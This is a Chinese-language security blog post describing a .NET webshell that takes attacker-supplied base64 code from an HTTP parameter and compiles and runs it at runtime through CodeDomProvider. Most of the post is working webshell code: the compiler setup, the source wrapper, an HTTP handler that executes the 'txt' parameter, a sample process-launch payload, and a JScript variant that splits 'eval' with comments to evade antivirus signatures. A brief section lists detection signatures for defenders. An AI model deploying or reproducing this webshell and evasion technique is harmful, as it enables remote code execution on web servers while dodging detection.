基於.NET動態編譯技術實現任意程式碼執行

基於.NET動態編譯技術實現任意程式碼執行

.Net可透過編譯技術將外部輸入的字串作為程式碼執行,動態編譯技術提供了最核心的兩個類別

最後更新 2022/5/15 下午11:15
Ivan1ee dotNet安全矩阵
預計閱讀 4 分鐘
分類
.NET
標籤
.NET C# 動態編譯

一、前言

目前主流的 Waf 或 Windows Defender 等終端防毒軟體、EDR 大多是從特徵碼進行偵測,在 .Net 和 VBS 下的一句話木馬中最常見的特徵是 eval,對於攻擊者來說需要避開這個系統關鍵字,可從反序列化方式避開 eval,但公開已久,相信許多安全產品已經能夠很好地檢測和阻斷這類攻擊請求。筆者從 .NET 內建的 CodeDomProvider 類下手,實現動態編譯 .NET 程式碼,指定 JScript 或 C# 作為編譯語言,編譯出的 WebShell 目前 Windows Defender 不會偵測。而防禦者可以從流量或終端辨識 "CodeDomProvider.CreateProvider、CreateInstance" 等特徵碼。

二、動態編譯

.Net 可透過編譯技術將外部輸入的字串作為程式碼執行,動態編譯技術提供了最核心的兩個類別 CodeDomProviderCompilerParameters,前者相當於編譯器,後者相當於編譯器參數。CodeDomProvider 支援多種語言(如 C#、VB、JScript),編譯器參數 CompilerParameters.GenerateExecutable 預設表示產生 dll,GenerateInMemory = true 時表示在記憶體中載入,CompileAssemblyFromSource 表示組件的資料來源,再將編譯產生的結果產生組件供反射呼叫。最後透過 CreateInstance 實體化物件並反射呼叫自訂類別中的方法。

CodeDomProvider compiler = CodeDomProvider.CreateProvider("C#"); ;     //編譯器
CompilerParameters comPara = new CompilerParameters();   //編譯器參數
comPara.ReferencedAssemblies.Add("System.dll"); //新增參考
comPara.GenerateExecutable = false; //產生exe
comPara.GenerateInMemory = true; //記憶體中
CompilerResults compilerResults = compiler.CompileAssemblyFromSource(comPara, SourceText(txt)); //編譯資料的來源
Assembly objAssembly = compilerResults.CompiledAssembly; //編譯成組件
object objInstance = objAssembly.CreateInstance("Neteye.NeteyeInput"); //建立物件
MethodInfo objMifo = objInstance.GetType().GetMethod("OutPut"); //反射呼叫方法
var result = objMifo.Invoke(objInstance, null);

三、落地實作

上述程式碼裡的 SourceText 方法需提供編譯的 C# 原始碼,筆者建立了 NeteyeInput 類別,如下:

public static string SourceText(string txt)
{
    StringBuilder sb = new StringBuilder();
    sb.Append("using System;");
    sb.Append(Environment.NewLine);
    sb.Append("namespace  Neteye");
    sb.Append(Environment.NewLine);
    sb.Append("{");
    sb.Append(Environment.NewLine);
    sb.Append("    public class NeteyeInput");
    sb.Append(Environment.NewLine);
    sb.Append("    {");
    sb.Append(Environment.NewLine);
    sb.Append("        public void OutPut()");
    sb.Append(Environment.NewLine);
    sb.Append("        {");
    sb.Append(Environment.NewLine);
    sb.Append(Encoding.GetEncoding("UTF-8").GetString(Convert.FromBase64String(txt)));
    sb.Append(Environment.NewLine);
    sb.Append("        }");
    sb.Append(Environment.NewLine);
    sb.Append("    }");
    sb.Append(Environment.NewLine);
    sb.Append("}");
    string code = sb.ToString();
    return code;
}

類別裡宣告了 OutPut 方法,該方法裡透過 Base64 解碼得到輸入的原生字串。筆者在這裡以計算機作為展示,將 "System.Diagnostics.Process.Start("cmd.exe","/c calc");" 編碼為:

U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MuU3RhcnQoImNtZC5leGUiLCIvYyBjYWxjIik7

最後在一般處理程序 ProcessRequest 方法中呼叫:

public void ProcessRequest(HttpContext context)
{
    context.Response.ContentType = "text/plain";
    if (!string.IsNullOrEmpty(context.Request["txt"]))
    {
        DynamicCodeExecute(context.Request["txt"]); //start calc: U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MuU3RhcnQoImNtZC5leGUiLCIvYyBjYWxjIik7
        context.Response.Write("Execute Status: Success!");
    }
    else
    {
        context.Response.Write("Just For Fun, Please Input txt!");
    }
}

四、其他方法

JScript.Net 動態編譯拆解 eval

在 .NET 安全領域中,一句話木馬主流的都是交給 eval 關鍵字執行,而許多安全產品都會對此重點偵測,所以筆者需要避開 eval。而在 .NET 中 eval 只存在於 JScript.Net,因此需要將動態編譯器指定為 JScript,其餘和 C# 版本的動態編譯大致相同。筆者透過插入無關字元將 eval 拆解掉,程式碼如下:

private static readonly string _jscriptClassText =
        @"import System;
            class JScriptRun
            {
                public static function RunExp(expression : String) : String
                {
                    return e/*@Ivan1ee@*/v/*@Ivan1ee@*/a/*@Ivan1ee@*/l(expression);
                }
            }";

只需在編譯時替換掉無關字串 "/*@Ivan1ee@*/",最後編譯後反射執行目標方法。

CompilerResults results = compiler.CompileAssemblyFromSource(parameters, _jscriptClassText.Replace("/*@Ivan1ee@*/",""));

五、防禦措施

  • 一般 Web 應用使用場景不多,檢測特徵碼:CodeDomProvider.CreateProvider、CreateInstance 等等,一旦告警需格外關注;

  • 由於編譯產生的組件以暫存檔儲存在硬碟,需加入對可寫目錄下 dll 檔案內容的監控;

  • 文章涉及的程式碼已打包在: https://github.com/Ivan1ee/.NETWebShell

繼續探索

延伸閱讀

更多文章
同分類 / 同標籤 2026/2/7

AOT使用經驗總結

從專案建立伊始,就應養成良好的習慣,即只要添加了新功能或使用了較新的語法,就及時進行 AOT 發布測試。

繼續閱讀